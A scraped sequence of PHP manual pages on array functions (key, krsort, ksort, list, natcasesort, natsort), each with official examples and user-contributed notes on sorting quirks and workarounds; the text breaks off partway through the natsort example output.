The key() function simply returns the key of the array element that's currently being pointed to by the internal pointer. It does not move the pointer in any way. If the internal pointer points beyond the end of the elements list or the array is empty, key() returns NULL.

Examples

Example #1 key() example

<?php
$array = array(
    'fruit1' => 'apple',
    'fruit2' => 'orange',
    'fruit3' => 'grape',
    'fruit4' => 'apple',
    'fruit5' => 'apple');

// this cycle echoes all associative array
// key where value equals "apple"
while ($fruit_name = current($array)) {
    if ($fruit_name == 'apple') {
        echo key($array).'<br />';
    }
    next($array);
}
?>

The above example will output:

fruit1<br />
fruit4<br />
fruit5<br />

See Also

  • current() - Return the current element in an array
  • next() - Advance the internal array pointer of an array

User Contributed Notes

art 08-Oct-2014 05:50
Returns "Warning" message if given parameter is not an array.
lhardie 24-Apr-2014 01:05
Note that using key($array) in a foreach loop may have unexpected results.

When requiring the key inside a foreach loop, you should use:
foreach($array as $key => $value)

I was incorrectly using:
<?php
foreach($array as $value)
{
  $mykey = key($array);
}
?>

and experiencing errors (the pointer of the array is already moved to the next item, so instead of getting the key for $value, you will get the key to the next value in the array)

CORRECT:
<?php
foreach($array as $key => $value)
{
  $mykey = $key;
}

A noob error, but felt it might help someone else out there.
vinob44 at gmail dot com 23-Oct-2013 08:43
Suppose if the array values are in numbers and numbers contains `0` then the loop will be terminated. To overcome this you can user like this

<?php
$array = array(
    '0' => '5',
    '1' => '2',
    '2' => '0',
    '3' => '3',
    '4' => '1');

// wrong approach

while ($fruit_name = current($array)) {

        echo key($array).'<br />';
       next($array);
}

// the way will be break loop when arra('2'=>0) because its value is '0', while(0) will terminate the loop

// correct approach
while ( ($fruit_name = current($array)) !== FALSE ) {

        echo key($array).'<br />';
       next($array);
}
//this will work properly
?>
goker.cebeci 24-Feb-2012 04:41
object usage:

<?php

$object = new stdClass();
$object->child->key = 'value';

echo key((array) $object->child);
// key

?>
FatBat 17-Oct-2011 09:20
Needed to get the index of the max/highest value in an assoc array.
max() only returned the value, no index, so I did this instead.

<?php
reset($x);   // optional.
arsort($x);
$key_of_max = key($x);   // returns the index.
?>
michael 09-Dec-2008 08:19
Here is an improved version of the KeyName function below. It is simpler and faster, especially on large arrays as it runs in O(1) instead of O(n).

<?php
function KeyName(array $a, $pos) {
    $temp = array_slice($a, $pos, 1, true);
    return key($temp);
}
?>

Also, KeyName($a, -1) will return the last key, etc.
yarco dot w at gmail dot com 13-Sep-2007 10:45
Re: br_joris[at]hotmail[doth]com

Do you really mean you want 2 keys point to 1 value?
What you've written seems you want 1 key point to 2 values.

But if you really want 2 keys point to 1 value, you could do the following:

<?php
$buf['key1'] = 'abc';
$buf['key2'] = & $buf['key1'];
?>


Sort an array by key in reverse order

  • « key
  • ksort »
  • PHP Manual
  • Array Functions
  • Sort an array by key in reverse order

krsort

(PHP 4, PHP 5)

krsort — Sort an array by key in reverse order

Description

bool krsort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

Sorts an array by key in reverse order, maintaining key to data correlations. This is useful mainly for associative arrays.

Parameters

array

The input array.

sort_flags

You may modify the behavior of the sort using the optional parameter sort_flags, for details see sort().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 krsort() example

<?php
$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
krsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

d = lemon
c = apple
b = banana
a = orange

See Also

  • arsort() - Sort an array in reverse order and maintain index association
  • ksort() - Sort an array by key
  • The comparison of array sorting functions

User Contributed Notes

08-Aug-2005 03:37
To create a natural reverse sorting by keys, use the following function:

<?php
function natkrsort($array)
{
    $keys = array_keys($array);
    natsort($keys);

    foreach ($keys as $k)
    {
        $new_array[$k] = $array[$k];
    }

    $new_array = array_reverse($new_array, true);

    return $new_array;
}
?>
peter at pmkmedia dot com 07-Nov-2003 10:51
Best deal sorting:

This is a function that will sort an array with integer keys (weight) and float values (cost) and delete 'bad deals' - entries that are more costly than other entries that have greater or equal weight.

Input: an array of unsorted weight/cost pairs
Output: none

function BEST_DEALS($myarray)
{   // most weight for least cost:
    // � Peter Kionga-Kamau, http://www.pmkmedia.com
    // thanks to Nafeh for the reversal trick
    // free for unrestricted use.
    krsort($myarray, SORT_NUMERIC);
    while(list($weight, $cost) = each($myarray))
    {   // delete bad deals, retain best deals:
        if(!$lastweight)
        {
            $lastweight=$weight;
            $lastcost = $cost;
        }
        else if($cost >= $lastcost) unset($myarray[$weight]);
        else
        {
            $lastweight=$weight;
            $lastcost = $cost;
        }
    }
    ksort($myarray);
}


Sort an array by key

  • « krsort
  • list »
  • PHP Manual
  • Array Functions
  • Sort an array by key

ksort

(PHP 4, PHP 5)

ksort — Sort an array by key

Description

bool ksort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

Sorts an array by key, maintaining key to data correlations. This is useful mainly for associative arrays.

Parameters

array

The input array.

sort_flags

You may modify the behavior of the sort using the optional parameter sort_flags, for details see sort().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 ksort() example

<?php
$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
ksort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

a = orange
b = banana
c = apple
d = lemon

See Also

  • asort() - Sort an array and maintain index association
  • The comparison of array sorting functions

User Contributed Notes

bimal at sanjaal dot com 26-May-2014 04:33
An example of reverse sorting a domain name by its name.

<?php
$domains = array(
    'sub.domain.com',
    'sub2.domain.com',
);

foreach($domains as $d => $domain)
{
    $chunks = explode('.', $domain);
    krsort($chunks);

    echo "\r\n<br>", implode('/', $chunks);
}

/**
 * Outputs as:
 *
 * com/domain/sub
 * com/domain/sub2
 */
?>
Anonymous 11-Feb-2014 02:43
@thegrandoverseer

you could also use the build-in php array functions to get exactly what you want to have:

<?php
        $seed_array = array('foo'=>'bar', 'someotherkey'=>'whatev', 'bar'=>'baz', 'baz'=>'foo', 'anotherkey'=>'anotherval');
        $keys_array = array('baz', 'foo', 'bar');

        $return_array = array_intersect_key($seed_array, array_flip($keys_array)) + array_diff_key($seed_array, array_flip($keys_array));

?>
Anonymous 13-Aug-2013 10:11
Note that this function will output the given $fields in the order they were added to the data array and not automatically in numerical key order.

To output in ascending key order, you'll need to ksort the array first (or use appropriate natural order sorting, depending on your keys).

For example:
<?php
$data[2] = 'C';
$data[0] = 'A';
$data[1] = 'B';

fputcsv($fh, $data); // outputs: "C,A,B"

ksort($data);
fputcsv($fh, $data); // outputs: "A,B,C"
?>
centraleffects at yahoo dot com 06-Jun-2013 02:46
I wrote this function to sort meta_value in wordpress. I tried a lot of array sorting but neither of them work. But this is not suitable for multidimensional array. This is intended only for wordpress meta_value

The problem is to sort below( the order should be ascending; alphabetically then numerically like A-Z then 0-9):
500-999 users
25-49 users
 All Sizes
1-4 users
5-9 users
10-24 users
250-499 users
1000-4999
5000-9999

The solution:

function array_sort($arr){
    if(is_array($arr)){
        $numeric = array();
        $string = array();
        foreach($arr as $k => $v)
        {
            if(isset($v["meta_value"])){
                 $str = explode(" ",trim($v["meta_value"]));
                 $firstWord  = explode("-",trim($str[0]));
             }else{
                 $str = $v;
                 $firstWord  = explode("-",trim($str));
             }

            $firstWord = $firstWord[0];

            if(is_numeric($firstWord))
            {
                $numeric[(int)$firstWord] = $v;
            }else{
                $string[$firstWord] = $v;
            }
            unset($firstWord);
        }
        ksort($string,SORT_STRING);
        ksort($numeric,SORT_NUMERIC);

        return array_merge((array)$string, (array)$numeric);
    }

    return false;
}

The usage:
$meta =get_post_meta($post_id,$meta_key);
$sorted = array_sort($meta);

The result:
 All Sizes
1-4 users
5-9 users
10-24 users
25-49 users
250-499 users
500-999 users
1000-4999
5000-9999
stephen [ at ] brooksie-net [ dot ] co [ dot ] uk 18-Apr-2013 02:10
ksort and krsort fail to undestand scientific notation, https://bugs.php.net/bug.php?id=43053, therefore when sorting numeric keys, if the key is of the form 0.00001 php will represent it as 1.0E-5.

These methods will assume this to be a string and therefore not organise your array as you may expect.

When using value of this form for array keys use sprintf('%f', 0.00001) to generate the key, for smaller values the precision needs to be included
e.g. sprintf('%0.10f', 0.00000001)
thegrandoverseer 14-Jul-2012 03:11
I wrote this function to sort the keys of an array using an array of keynames, in order.
<?php
/**
 * function array_reorder_keys
 * reorder the keys of an array in order of specified keynames; all other nodes not in $keynames will come after last $keyname, in normal array order
 * @param array &$array - the array to reorder
 * @param mixed $keynames - a csv or array of keynames, in the order that keys should be reordered
 */
function array_reorder_keys(&$array, $keynames){
    if(empty($array) || !is_array($array) || empty($keynames)) return;
    if(!is_array($keynames)) $keynames = explode(',',$keynames);
    if(!empty($keynames)) $keynames = array_reverse($keynames);
    foreach($keynames as $n){
        if(array_key_exists($n, $array)){
            $newarray = array($n=>$array[$n]); //copy the node before unsetting
            unset($array[$n]); //remove the node
            $array = $newarray + array_filter($array); //combine copy with filtered array
        }
    }
}
$seed_array = array('foo'=>'bar', 'someotherkey'=>'whatev', 'bar'=>'baz', 'baz'=>'foo', 'anotherkey'=>'anotherval');
array_reorder_keys($seed_array, 'baz,foo,bar'); //returns array('baz'=>'foo', 'foo'=>'bar', 'bar'=>'baz', 'someotherkey'=>'whatev', 'anotherkey'=>'anotherval' );
?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Apr-2011 05:48
Note that ksort will NOT help you much if numeric and string keys are mixed together.
<?php
$t = array(
  "a"=>"A",
  0=>"A",
  "b"=>"A",
  1=>"A"
);
var_dump($t);
ksort($t);
var_dump($t);
?>

produces (on PHP 5.3.6-4 with Suhosin-Patch) :

array(4) {
  ["a"]=>
  string(1) "A"
  [0]=>
  string(1) "A"
  ["b"]=>
  string(1) "A"
  [1]=>
  string(1) "A"
}

array(4) {
  ["b"]=>
  string(1) "A"
  [0]=>
  string(1) "A"
  ["a"]=>
  string(1) "A"
  [1]=>
  string(1) "A"
}

note that the second array should be sorted by keys, but is even more messed up than the first one!
DavidG 17-Jun-2010 03:47
A nice way to do sorting of a key on a multi-dimensional array without having to know what keys you have in the array first:

<?php
$people = array(
array("name"=>"Bob","age"=>8,"colour"=>"red"),
array("name"=>"Greg","age"=>12,"colour"=>"blue"),
array("name"=>"Andy","age"=>5,"colour"=>"purple"));

var_dump($people);

$sortArray = array();

foreach($people as $person){
    foreach($person as $key=>$value){
        if(!isset($sortArray[$key])){
            $sortArray[$key] = array();
        }
        $sortArray[$key][] = $value;
    }
}

$orderby = "name"; //change this to whatever key you want from the array

array_multisort($sortArray[$orderby],SORT_DESC,$people);

var_dump($people);
?>

Output from first var_dump:

[0]=&gt;
  array(3) {
    ["name"]=&gt;
    string(3) "Bob"
    ["age"]=&gt;
    int(8)
    ["colour"]=&gt;
    string(3) "red"
  }
  [1]=&gt;
  array(3) {
    ["name"]=&gt;

    string(4) "Greg"
    ["age"]=&gt;
    int(12)
    ["colour"]=&gt;
    string(4) "blue"
  }
  [2]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Andy"
    ["age"]=&gt;
    int(5)
    ["colour"]=&gt;

    string(6) "purple"
  }
}

Output from 2nd var_dump:

array(3) {
  [0]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Greg"
    ["age"]=&gt;
    int(12)
    ["colour"]=&gt;
    string(4) "blue"
  }
  [1]=&gt;
  array(3) {
    ["name"]=&gt;

    string(3) "Bob"
    ["age"]=&gt;
    int(8)
    ["colour"]=&gt;
    string(3) "red"
  }
  [2]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Andy"
    ["age"]=&gt;
    int(5)
    ["colour"]=&gt;

    string(6) "purple"
  }

There's no checking on whether your array keys exist, or the array data you are searching on is actually there, but easy enough to add.
serpro at gmail dot com 13-Mar-2009 11:02
Here is a function to sort an array by the key of his sub-array.

<?php

function sksort(&$array, $subkey="id", $sort_ascending=false) {

    if (count($array))
        $temp_array[key($array)] = array_shift($array);

    foreach($array as $key => $val){
        $offset = 0;
        $found = false;
        foreach($temp_array as $tmp_key => $tmp_val)
        {
            if(!$found and strtolower($val[$subkey]) > strtolower($tmp_val[$subkey]))
            {
                $temp_array = array_merge(    (array)array_slice($temp_array,0,$offset),
                                            array($key => $val),
                                            array_slice($temp_array,$offset)
                                          );
                $found = true;
            }
            $offset++;
        }
        if(!$found) $temp_array = array_merge($temp_array, array($key => $val));
    }

    if ($sort_ascending) $array = array_reverse($temp_array);

    else $array = $temp_array;
}

?>

Example
<?php
$info = array("peter" => array("age" => 21,
                                           "gender" => "male"
                                           ),
                   "john"  => array("age" => 19,
                                           "gender" => "male"
                                           ),
                   "mary" => array("age" => 20,
                                           "gender" => "female"
                                          )
                  );

sksort($info, "age");
var_dump($info);

sksort($info, "age", true);
var_dump($ifno);
?>

This will be the output of the example:

/*DESCENDING SORT*/
array(3) {
  ["peter"]=>
  array(2) {
    ["age"]=>
    int(21)
    ["gender"]=>
    string(4) "male"
  }
  ["mary"]=>
  array(2) {
    ["age"]=>
    int(20)
    ["gender"]=>
    string(6) "female"
  }
  ["john"]=>
  array(2) {
    ["age"]=>
    int(19)
    ["gender"]=>
    string(4) "male"
  }
}

/*ASCENDING SORT*/
array(3) {
  ["john"]=>
  array(2) {
    ["age"]=>
    int(19)
    ["gender"]=>
    string(4) "male"
  }
  ["mary"]=>
  array(2) {
    ["age"]=>
    int(20)
    ["gender"]=>
    string(6) "female"
  }
  ["peter"]=>
  array(2) {
    ["age"]=>
    int(21)
    ["gender"]=>
    string(4) "male"
  }
}
maik dot riechert at animey dot net 12-Aug-2008 08:32
Be careful when using ksort for mixed type keys!!

$a = array(
    'first' => true,
    0       => 'sally',
);

$b = array(
    0       => 'sally',
    'first' => true,
);

ksort($a);
ksort($b);
var_dump($a);
var_dump($b);

Output is:
array(
    0 => 'sally',
    'first' => true,
)

array(
    'first' => true,
    0 => 'sally',
)

If you want same results for both arrays, use:

ksort($a, SORT_STRING);

The reason for that lays in the compare mechanism which would normally just typecast 'first' to an integer or 0 to a string when comparing it to each other. So you have to use SORT_STRING, otherwise you would lose information when 'first' is converted to int.
ssb45 at cornell dot edu 30-Jun-2005 01:58
The function that justin at booleangate dot org provides works well, but be aware that it is not a drop-in replacement for ksort as is.  While ksort sorts the array by reference and returns a status boolean, natksort returns the sorted array, leaving the original untouched.  Thus, you must use this syntax:

$array = natksort($array);

If you want to use the more natural syntax:

$status = natksort($array);

Then use this modified version:

function natksort(&$array) {
    $keys = array_keys($array);
    natcasesort($keys);

    foreach ($keys as $k) {
        $new_array[$k] = $array[$k];
    }

    $array = $new_array;
    return true;
}
justin at booleangate dot org 18-Jan-2005 10:04
Here's a handy function for natural order sorting on keys.

function natksort($array) {
  // Like ksort but uses natural sort instead
  $keys = array_keys($array);
  natsort($keys);

  foreach ($keys as $k)
    $new_array[$k] = $array[$k];

  return $new_array;
}
09-Mar-2002 04:09
here 2 functions to ksort/uksort an array and all its member arrays

function tksort(&$array)
  {
  ksort($array);
  foreach(array_keys($array) as $k)
    {
    if(gettype($array[$k])=="array")
      {
      tksort($array[$k]);
      }
    }
  }

function utksort(&$array, $function)
  {
  uksort($array, $function);
  foreach(array_keys($array) as $k)
    {
    if(gettype($array[$k])=="array")
      {
      utksort($array[$k], $function);
      }
    }
  }
delvach at mail dot com 06-Nov-2001 10:29
A real quick way to do a case-insensitive sort of an array keyed by strings:

uksort($myArray, "strnatcasecmp");
sbarnum at mac dot com 20-Oct-2001 12:54
ksort on an array with negative integers as keys yields some odd results.  Not sure if this is a bad idea (negative key values) or what.


Assign variables as if they were an array

  • « ksort
  • natcasesort »
  • PHP Manual
  • Array Functions
  • Assign variables as if they were an array

list

(PHP 4, PHP 5)

list — Assign variables as if they were an array

Description

array list ( mixed $var1 [, mixed $... ] )

Like array(), this is not really a function, but a language construct. list() is used to assign a list of variables in one operation.

Parameters

var1

A variable.

Return Values

Returns the assigned array.

Examples

Example #1 list() examples

<?php

$info = array('coffee', 'brown', 'caffeine');

// Listing all the variables
list($drink, $color, $power) = $info;
echo "$drink is $color and $power makes it special.\n";

// Listing some of them
list($drink, , $power) = $info;
echo "$drink has $power.\n";

// Or let's skip to only the third one
list( , , $power) = $info;
echo "I need $power!\n";

// list() doesn't work with strings
list($bar) = "abcde";
var_dump($bar); // NULL
?>

Example #2 An example use of list()

<table>
 <tr>
  <th>Employee name</th>
  <th>Salary</th>
 </tr>

<?php
$result = $pdo->query("SELECT id, name, salary FROM employees");
while (list($id, $name, $salary) = $result->fetch(PDO::FETCH_NUM)) {
    echo " <tr>\n" .
          "  <td><a href=\"info.php?id=$id\">$name</a></td>\n" .
          "  <td>$salary</td>\n" .
          " </tr>\n";
}

?>

</table>

Example #3 Using nested list()

<?php

list($a, list($b, $c)) = array(1, array(2, 3));

var_dump($a, $b, $c);

?>
int(1)
int(2)
int(3)

Example #4 Using list() with array indices

<?php

$info = array('coffee', 'brown', 'caffeine');

list($a[0], $a[1], $a[2]) = $info;

var_dump($a);

?>

Gives the following output (note the order of the elements compared in which order they were written in the list() syntax):

array(3) {
  [2]=>
  string(8) "caffeine"
  [1]=>
  string(5) "brown"
  [0]=>
  string(6) "coffee"
}

Notes

Warning

list() assigns the values starting with the right-most parameter. If you are using plain variables, you don't have to worry about this. But if you are using arrays with indices you usually expect the order of the indices in the array the same you wrote in the list() from left to right; which it isn't. It's assigned in the reverse order.

Warning

Modification of the array during list() execution (e.g. using list($a, $b) = $b) results in undefined behavior.

Note:

list() only works on numerical arrays and assumes the numerical indices start at 0.

See Also

  • each() - Return the current key and value pair from an array and advance the array cursor
  • array() - Create an array
  • extract() - Import variables into the current symbol table from an array

User Contributed Notes

grzeniufication 21-Oct-2014 07:35
The example showing that:

$info = array('kawa', 'brązowa', 'kofeina');
list($a[0], $a[1], $a[2]) = $info;
var_dump($a);

outputs:
array(3) {
[2]=>
string(8) "kofeina"
[1]=>
string(5) "brązowa"
[0]=>
string(6) "kawa"
}

One thing to note here is that if you define the array earlier, e.g.:
$a = [0, 0, 0];

the indexes will be kept in the correct order:

array(3) {
  [0]=>
  string(4) "kawa"
  [1]=>
  string(8) "brązowa"
  [2]=>
  string(7) "kofeina"
}

Thought that it was worth mentioning.
vickyssj7 at gmail dot com 02-Sep-2014 02:21
if we assign array's each value individual key('numeric only'), and use the array indices in list(),, then it output the reverse order of array keys--
BUT THE HIGHER KEY VALUE ("2" in this e.g below) WILL GET THE FIRST PLACE IN THE ARRAY IN RETURN, MEANS IT PUSHES THE VALUE WITH HIGHER KEY IN PLACE OF FIRST KEY VALUE, so it also gives higher key value the first priority while reversing the order of the keys and replacing the lower key value with the higher key value.

        $value = array( 0 => 'low', 2 => 'medium', 1 => 'higher');
        list($a[2], $a[1], $a[0]) = $value;
    var_dump($a);

//Outputs:---
array(3) {
            [0] => string(6) "medium"
            [1]  => string(6) "higher"
            [2]  => string(3) "low"
}
Thanos K. 14-Mar-2014 02:36
Also it seems that it doesn't work as expected with arrays with non numeric keys:

list($k, $l, $m) = array('a' => 'val1', 'b' => 'val2', 'c' => 'val3');

Gives empty variables..
edam 05-Feb-2014 12:18
This doesn't work on associative array.  For example:

    list( $a, $b, $c ) = array( 'a' => 'a', 'b' => 'b', 'c' => 'c' );
    PHP Notice:  Undefined offset: 2 in Command line code on line 1
    PHP Notice:  Undefined offset: 1 in Command line code on line 1
    PHP Notice:  Undefined offset: 0 in Command line code on line 1
john at jbwalker dot com 08-Dec-2013 09:31
The list construct seems to look for a sequential list of indexes rather taking elements in sequence. What that obscure statement means is that if you unset an element, list will not simply jump to the next element and assign that to the variable but will treat the missing element as a null or empty variable:

    $test = array("a","b","c","d");
    unset($test[1]);
    list($a,$b,$c)=$test;
    print "\$a='$a' \$b='$b' \$c='$c'<BR>";

results in:
$a='a' $b='' $c='c'

not:
$a='a' $b='c' $c='d'
megan at voices dot com 11-Sep-2013 12:45
As noted, list() will give an error if the input array is too short. This can be avoided by array_merge()'ing in some default values. For example:

<?php
$parameter = 'name';
list( $a, $b ) = array_merge( explode( '=', $parameter ), array( true ) );
?>

However, you will have to array_merge with an array long enough to ensure there are enough elements (if $parameter is empty, the code above would still error).

An alternate approach would be to use array_pad on the array to ensure its length (if all the defaults you need to add are the same).

<?php
    $parameter = 'bob-12345';
    list( $name, $id, $fav_color, $age ) = array_pad( explode( '-', $parameter ), 4, '' );
    var_dump($name, $id, $fav_color, $age);
/* outputs
string(3) "bob"
string(5) "12345"
string(0) ""
string(0) ""
*/
?>
Arne 31-Jul-2013 10:30
list() will give an error if the input array is too short. This can be avoided by array_merge()'ing in some default values. For example:

<?php
$parameter = 'name';
list( $a, $b ) = array_merge( explode( '=', $parameter ), array( true ) );
?>
Achilles at thegreatwarrior dot com 14-Jul-2013 09:58
Second, when you’re using the list() function, you must acknowledge each array element. You could not do this
list($weekday, $month) = $date;

But you can use empty values to ignore elements:
list ($weekday, , $month) = $date;
Matt 26-May-2013 01:40
You can't type check within the list() parameters:

list ( array $var1, $var2 ) = array ( array('one','two'), 'three');

generates a parse error, unexpected 'array'.
srikanth at networthindia dot com 09-Feb-2013 09:34
Note: list cannot assign array cast of object to variables straight away. first you need to convert the object to numeric indexed array.

ex:
list($a, $b, $d) = (array) $abc; // $abc is an object; this will not assign.
list($a, $b, $c) = array_values((array) $abc); // This will work.
svennd 24-Dec-2012 04:08
The list() definition won't throw an error if your array is longer then defined list.
<?php

list($a, $b, $c) = array("a", "b", "c", "d");

var_dump($a); // a
var_dump($b); // b
var_dump($c); // c
?>
chris at chlab dot ch 08-Nov-2012 12:00
The example states the following:
<?php
// list() doesn't work with strings
list($bar) = "abcde";
var_dump($bar);
// output: NULL
?>

If the string is in a variable however, it seems using list() will treat the string as an array:
<?php
$string = "abcde";
list($foo) = $string;
var_dump($foo);
// output: string(1) "a"
?>


Sort an array using a case insensitive "natural order" algorithm

  • « list
  • natsort »
  • PHP Manual
  • Array Functions
  • Sort an array using a case insensitive "natural order" algorithm

natcasesort

(PHP 4, PHP 5)

natcasesort — Sort an array using a case insensitive "natural order" algorithm

Description

bool natcasesort ( array &$array )

natcasesort() is a case insensitive version of natsort().

This function implements a sort algorithm that orders alphanumeric strings in the way a human being would while maintaining key/value associations. This is described as a "natural ordering".

Parameters

array

The input array.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 natcasesort() example

<?php
$array1 = $array2 = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

sort($array1);
echo "Standard sorting\n";
print_r($array1);

natcasesort($array2);
echo "\nNatural order sorting (case-insensitive)\n";
print_r($array2);
?>

The above example will output:

Standard sorting
Array
(
    [0] => IMG0.png
    [1] => IMG3.png
    [2] => img1.png
    [3] => img10.png
    [4] => img12.png
    [5] => img2.png
)

Natural order sorting (case-insensitive)
Array
(
    [0] => IMG0.png
    [4] => img1.png
    [3] => img2.png
    [5] => IMG3.png
    [2] => img10.png
    [1] => img12.png
)

For more information see: Martin Pool's » Natural Order String Comparison page.

See Also

  • natsort() - Sort an array using a "natural order" algorithm
  • The comparison of array sorting functions
  • strnatcmp() - String comparisons using a "natural order" algorithm
  • strnatcasecmp() - Case insensitive string comparisons using a "natural order" algorithm

User Contributed Notes

w-dot-rosenbach-at-netskill-de 14-Dec-2010 06:45
Sorting UTF-8 by arbitrary order:

<?php
mb_internal_encoding("UTF-8");

class utf_8_german
{
  // everything else is sorted at the end
  static $order = '0123456789AaÄäBbCcDdEeFfGgHhIiJjKkLlMm
NnOoÖöPpQqRrSsßTtUuÜüVvWwXxYyZz';
  static $char2order;

  static function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }

    // lazy init mapping
    if (empty(self::$char2order))
    {
      $order = 1;
      $len = mb_strlen(self::$order);
      for ($order=0; $order<$len; ++$order)
      {
        self::$char2order[mb_substr(self::$order, $order, 1)] = $order;
      }
    }

    $len_a = mb_strlen($a);
    $len_b = mb_strlen($b);
    $max=min($len_a, $len_b);
    for($i=0; $i<$max; ++$i)
    {
      $char_a= mb_substr($a, $i, 1);
      $char_b= mb_substr($b, $i, 1);

      if ($char_a == $char_b) continue;
      $order_a = (isset(self::$char2order[$char_a])) ? self::$char2order[$char_a] : 9999;
      $order_b = (isset(self::$char2order[$char_b])) ? self::$char2order[$char_b] : 9999;

      return ($order_a < $order_b) ? -1 : 1;
    }
    return ($len_a < $len_b) ? -1 : 1;
  }
}

// usage example:

$t = array(
  'Birnen', 'Birne', 'Äpfel', 'Apfel',
);

uasort($t, 'utf_8_german::cmp');
echo '$t: <pre>'.htmlspecialchars(print_r($t,true),null,'UTF-8').'</pre>';
?>
shawn at shawnwilkerson dot com 05-May-2009 07:03
I kept getting varied results using natcasesort and sort on mixed arrays -- per the descriptions.

Sometimes simple is better:

A little snippet of code:

<?php                        if($responders->num_rows) {
                            $i=0;
                            while($row= $responders->fetch_assoc()) {
                                $user=getUserName($row['responderID']);
                                $r[$i]= array("sortname"=>strtolower($user),"userName"=>$user, "userID"=>$row['responderID'], "responderID"=>$row['idresponders']);
                                $i++;
                            }
                            sort($r);
                            print_r($r);
                        }

?>

I simply created a lower cased sort field at the front of the result set and then sort by it -- which provides the expected result and leaves the actual needed fields unchanged.

For the curious:  all user information is kept completed in another database (and table) from the content database due to security reasons.  The getUser functions we have written allow us to pull only what is legally allowed without exposing anything else.

This is why a left join or something wasn't used and we have to build a pseudo result array here from both databases.
claude at schlesser dot lu 07-Jan-2009 09:41
Here a function that will natural sort an array by keys with keys that contain special characters.

<?php
function natksort($array)
{
    $original_keys_arr = array();
    $original_values_arr = array();
    $clean_keys_arr = array();

    $i = 0;
    foreach ($array AS $key => $value)
    {
        $original_keys_arr[$i] = $key;
        $original_values_arr[$i] = $value;
        $clean_keys_arr[$i] = strtr($key, "ÄÖÜäöüÉÈÀËëéèàç", "AOUaouEEAEeeeac");
        $i++;
    }

    natcasesort($clean_keys_arr);

    $result_arr = array();

    foreach ($clean_keys_arr AS $key => $value)
    {
        $original_key = $original_keys_arr[$key];
        $original_value = $original_values_arr[$key];
        $result_arr[$original_key] = $original_value;
    }

    return $result_arr;
}
?>

Hope it will be useful to somebody :)
vbAlexDOSMan at Yahoo dot com 12-Sep-2003 10:21
Ulli at Stemmeler dot net:  I remade your function -- it's a little more compact now -- Enjoy...

function ignorecasesort(&$array) {

  /*Make each element it's lowercase self plus itself*/
  /*(e.g. "MyWebSite" would become "mywebsiteMyWebSite"*/
  for ($i = 0; $i < sizeof($array); $array[$i] = strtolower($array[$i]).$array[$i], $i++);

  /*Sort it -- only the lowercase versions will be used*/
  sort($array);

  /*Take each array element, cut it in half, and add the latter half to a new array*/
  /*(e.g. "mywebsiteMyWebSite" would become "MyWebSite")*/
  for ($i = 0; $i < sizeof($array); $i++) {
    $this = $array[$i];
    $array[$i] = substr($this, (strlen($this)/2), strlen($this));
  }
}
dslicer at maine dot rr dot com 03-Jun-2003 03:41
Something that should probably be documented is the fact that both natsort and natcasesort maintain the key-value associations of the array. If you natsort a numerically indexed array, a for loop will not produce the sorted order; a foreach loop, however, will produce the sorted order, but the indices won't be in numeric order. If you want natsort and natcasesort to break the key-value associations, just use array_values on the sorted array, like so:

natcasesort($arr);
$arr = array_values($arr);
tmiller25 at hotmail dot com 26-Apr-2002 04:55
add this loop to the function above if you want items which have the same first characters to be listed in a way that the shorter string comes first.
--------------------
  /* short before longer (e.g. 'abc' should come before 'abcd') */
  for($i=count($array)-1;$i>0;$i--) {
    $str_a = $array[$i  ];
    $str_b = $array[$i-1];
    $cmp_a = strtolower(substr($str_a,0,strlen($str_a)));
    $cmp_b = strtolower(substr($str_b,0,strlen($str_a)));
    if ($cmp_a==$cmp_b && strlen($str_a)<strlen($str_b)) {
      $array[$i]=$str_b; $array[$i-1]=$str_a; $i+=2;
    }
  }
--------------------


Sort an array using a "natural order" algorithm

  • « natcasesort
  • next »
  • PHP Manual
  • Array Functions
  • Sort an array using a "natural order" algorithm

natsort

(PHP 4, PHP 5)

natsort — Sort an array using a "natural order" algorithm

Description

bool natsort ( array &$array )

This function implements a sort algorithm that orders alphanumeric strings in the way a human being would while maintaining key/value associations. This is described as a "natural ordering". An example of the difference between this algorithm and the regular computer string sorting algorithms (used in sort()) can be seen in the example below.

Parameters

array

The input array.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.2.10 | Zero padded numeric strings (e.g., '00005') now essentially ignore the 0 padding.

Examples

Example #1 natsort() examples demonstrating basic usage

<?php
$array1 = $array2 = array("img12.png", "img10.png", "img2.png", "img1.png");

asort($array1);
echo "Standard sorting\n";
print_r($array1);

natsort($array2);
echo "\nNatural order sorting\n";
print_r($array2);
?>

The above example will output:

Standard sorting
Array
(
    [3] => img1.png
    [1] => img10.png
    [0] => img12.png
    [2] => img2.png
)

Natural order sorting
Array
(
    [3] => img1.png
    [2] => img2.png
    [1] => img10.png
    [0] => img12.png
)

For more information see: Martin Pool's » Natural Order String Comparison page.

Example #2 natsort() examples demonstrating potential gotchas

<?php
echo "Negative numbers\n";
$negative = array('-5','3','-2','0','-1000','9','1');
print_r($negative);
natsort($negative);
print_r($negative);

echo "Zero padding\n";
$zeros = array('09', '8', '10', '009', '011', '0');
print_r($zeros);
natsort($zeros);
print_r($zeros);

echo "Other characters interfering\n";
$images_oops = array('image_1.jpg','image_12.jpg', 'image_21.jpg', 'image_4.jpg');
print_r($images_oops);
natsort($images_oops);
print_r($images_oops);

echo "Sort by keys\n";
$smoothie = array('orange' => 1, 'apple' => 1, 'yogurt' => 4, 'banana' => 4);
print_r($smoothie);
uksort( $smoothie, 'strnatcmp');
print_r($smoothie);
?>

The above example will output:

Negative numbers
Array
(
    [0] => -5
    [1] => 3
    [2] => -2
    [3] => 0
    [4] => -1000
    [5] => 9
    [6] => 1
)
Array
(
    [2] => -2
